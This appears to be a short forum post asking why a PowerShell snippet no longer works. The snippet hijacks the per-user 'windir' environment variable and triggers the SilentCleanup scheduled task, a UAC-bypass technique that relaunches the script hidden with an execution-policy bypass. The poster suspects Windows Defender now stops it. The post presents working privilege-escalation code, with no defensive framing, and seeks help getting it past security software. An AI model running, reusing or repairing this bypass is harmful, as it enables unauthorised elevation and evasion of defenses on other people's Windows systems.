Hi,
this part of code
$registryPath = "HKCU:\Environment";$Name = "windir" ;$Value = "powershell -ep bypass -w h $PSCommandPath";Set-ItemProperty -Path $registryPath -Name $name -Value $Value;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null ;
doesnt work.
Its create key in registry - but then nothing happened.
Its seems command
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
must play main role - but probably something changed in WD and its doesnt work now.